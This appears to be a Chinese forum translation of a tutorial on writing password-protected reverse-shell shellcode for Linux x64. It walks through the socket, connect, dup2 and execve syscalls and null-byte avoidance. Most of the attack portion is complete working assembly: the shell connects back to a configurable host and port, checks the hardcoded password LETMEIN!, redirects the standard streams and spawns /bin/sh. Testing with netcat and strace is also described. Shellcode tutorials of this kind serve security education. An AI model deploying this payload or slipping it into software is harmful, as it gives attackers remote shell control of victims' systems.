-
-
[翻译]编写带密码保护的反向 Shell
-
2019-5-30 12:26 8097
-
编写带密码保护的反向 Shell
译者注:
首先,在阅读正文前,先来了解一下“反向 Shell”的概念。
反向 Shell,即从内部网络主动连接到外部主机,从而绕过网络防火请的封锁,建立远程连接。
下面的示意图或能更形象地表示:解了 ?
1.概况
首先,明确一下我们的目的:我们的目标是编写一个运行在 Linux x64 下的 shellcode,它能通过 TCP/IPv4 反向连接至远程主机;同时,远控端只有输入有效的密码,才能启用该 shell。
为了编写一个常规的反向 shell,我们需要调用一系列系统调用。具体的步骤如下(密码授权认证将在稍后叙述):
- 1.利用
socket
系统调用创建新的 socket 来管理新的连接。 - 2.使用
connect
系统调用连接至目的地址。 - 3.使用
dup2
系统调用来复制每个标准 stream 流到新的连接中,从而使远控端可以与受控端收发信息。 - 4.最后通过
execve
系统调用来开启 shell。
上述的每一系统调用都有唯一的标识,所以,特定的寄存器必须存储特定的值。例如,rax
寄存器用来区分执行的系统调用,所以它存储的是系统调用号。完整的系统调用表,请参考该 文档。
2.编写系统调用
我们来看一下编写系统调用的一些例子。
2.1 简单的系统调用:socket(0x29)
48c7c029000000 mov rax,0x29 ; socket 系统调用号 48c7c702000000 mov rdi,0x02 ; 0x02 对应 IPv4 4831f6 xor rsi,rsi 48ffc6 inc rsi ; 0x01 对应 TCP 31d2 xor edx,edx ; 0 指代协议簇 0f05 syscall ; 执行系统调用
这段代码存在一些问题。首先,是代码太长(足足 48 字节)。其次,包含太多的空字节(null bytes)。
接下来,我们来解决这两个问题!
2.2 更切实可行的实现:socket(0x29)
下面的代码只有 12 字节长(为上述代码的 1/4)并且不含空字节:
6a29 push 0x29 58 pop rax ; 0x29 赋值给 rax ,无空字节(nullbytes) 6a02 push 0x02 5f pop rdi ; rdi 同理 6a01 push 0x01 5e pop rsi ; rsi 同理 99 cdq ; 仅用 1 个字节长的指令,将 rdx 置 0 0f05 syscall
为了实现反向 shell,我们所用到的系统调用,都要以这种方式编写。
3.密码认证
为了实现密码认证功能,我们需要读取客户端的文件描述符,并将用户输入与密码比较,然后执行 shell。代码框架如下:
; 6 - 处理接入连接 ; 6.1 - 保存 client fd (客户端文件描述符) 并关闭 parent fd (母文件描述符) mov r9, rax ; 将 client socket fd 存入 r9 ; 此处并非是必需的,可注释掉以节省空间 push syscalls.close pop rax ; 关闭 parent syscall ; 6.2 - 从 client fd 读取密码 read_pass: xor rax, rax ; read syscall == 0x00 mov rdi, r9 ; from client fd push 4 pop rdx ; rdx = input size sub rsp, rdx mov rsi, rsp ; rsi => buffer syscall ; 6.3 - 核验密码 mov rax, config.password mov rdi, rsi scasq jne read_pass
基本流程是,我们从 client 端的文件描述符读取用户输入的密码,将该输入与给定的密码比对,重复该过程直到密码正确。
4.编写反向 Shell
基于我们前面准备的知识,现在我们要把这一系列系统调用串起来,组合成反向 TCP shell。下面是具体实现的例子,代码注释详细地阐述了每一块的功能:
; ================================================= ; 密码保护的 x64 TCP 反向 Shell ; Author: Alan Vivona ; ================================================= global _start ; 系统调用号(Syscall numbers) syscalls.socket equ 0x29 syscalls.bind equ 0x31 syscalls.listen equ 0x32 syscalls.connect equ 0x2a syscalls.accept equ 0x2b syscalls.close equ 0x03 syscalls.dup2 equ 0x21 syscalls.write equ 0x01 syscalls.read equ 0x00 syscalls.execve equ 0x3b ; 常量定义 ipv4 equ 0x02 ; AF_INET ipv4.addressLen equ 0x10 tcp equ 0x01 ; SOCK_STREAM ; 标准流(Standard streams) standardIO.in equ 0x00 standardIO.out equ 0x01 standardIO.err equ 0x02 ;:> echo -n '//bin/sh' | rev | xxd ;: 00000000: 6873 2f6e 6962 2f2f hs/nib// binshString equ 0x68732f6e69622f2f ; 配置(Configs) config.max_cons equ 0x2 config.password equ 0x4d54454c214e4945 ; MTEL!NIE > LETMEIN! config.target equ 0x100007f5c110002 ; tcp://127.0.0.1:4444 ; This has nullbytes, so I replaced it with its complement config.target.complement equ 0xfeffff80a3eefffe ; neg(tcp://127.0.0.1:4444) section .text _start: ; 1 - 创建 socket push syscalls.socket pop rax cdq push ipv4 pop rdi push tcp pop rsi syscall mov r15, rax ; save fd into r15 ; 2 - 连接至目标主机 xchg rax, rdi mov rcx, config.target.complement neg rcx push rcx mov rsi, rsp push ipv4.addressLen pop rdx push syscalls.connect pop rax syscall ; 3 - 从 client fd 读取密码 read_pass: xor rax, rax ; read syscall == 0x00 mov rdi, r15 ; rdi = fd push 0x04 pop rdx ; rdx = input size sub rsp, rdx mov rsi, rsp ; rsi => buffer syscall ; Check password mov rax, config.password mov rdi, rsi scasq jne read_pass ; 4 - 镜像 std 流(std streams) mov rdi, r15 ; restore socket fd into rdi push 0x02 pop rsi loop_through_stdfs: push syscalls.dup2 pop rax syscall dec rsi jns loop_through_stdfs ; 5 - 执行(Execve) xor rdx, rdx push rdx ; push 第一个 NULL 字节 mov rbx, binshString ; push /bin//sh in reverse push rbx ; 保存 /bin//sh 地址到 RDI mov rdi, rsp push rdx ; push 第二个 NULL 字节 mov rdx, rsp push rdi ; 设置 RSI 为 /bin//sh 的地址 mov rsi, rsp push syscalls.execve pop rax syscall
5.测试
我们通过汇编、链接和运行等步骤,测试该 shellcode 是否正常工作。我也开发了一些定制化脚本来自动化地汇编连接、提取shellcode以及生成测试架构。
为了测试,我们需要类似 netcat
的工具监听 4444 端口,启动 shellcode,netcat 将会反向连接回服务端。请看例子:
我们可以用strace
来验证和 Debug 这些系统调用。在下面的小短片可以看到,首先运行的是socket
和connect
组合,接下来是重复的 read
系统调用,最后输入正确密码后的 3 次 dup2
以及 execve
。
原文:https://medium.com/syscall59/writing-a-password-protected-reverse-shell-linux-x64-5f4d3a28d91a
本文略有删改,并非按照原文逐字翻译!
翻译:看雪翻译小组 StrokMitream
校对:看雪翻译小组 lordVice
参考
- 1.https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/ 中文译文见 安全客:用ARM编写TCP Reverse Shell
- 2.Stack Overfolw: What is a reverse shell?
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。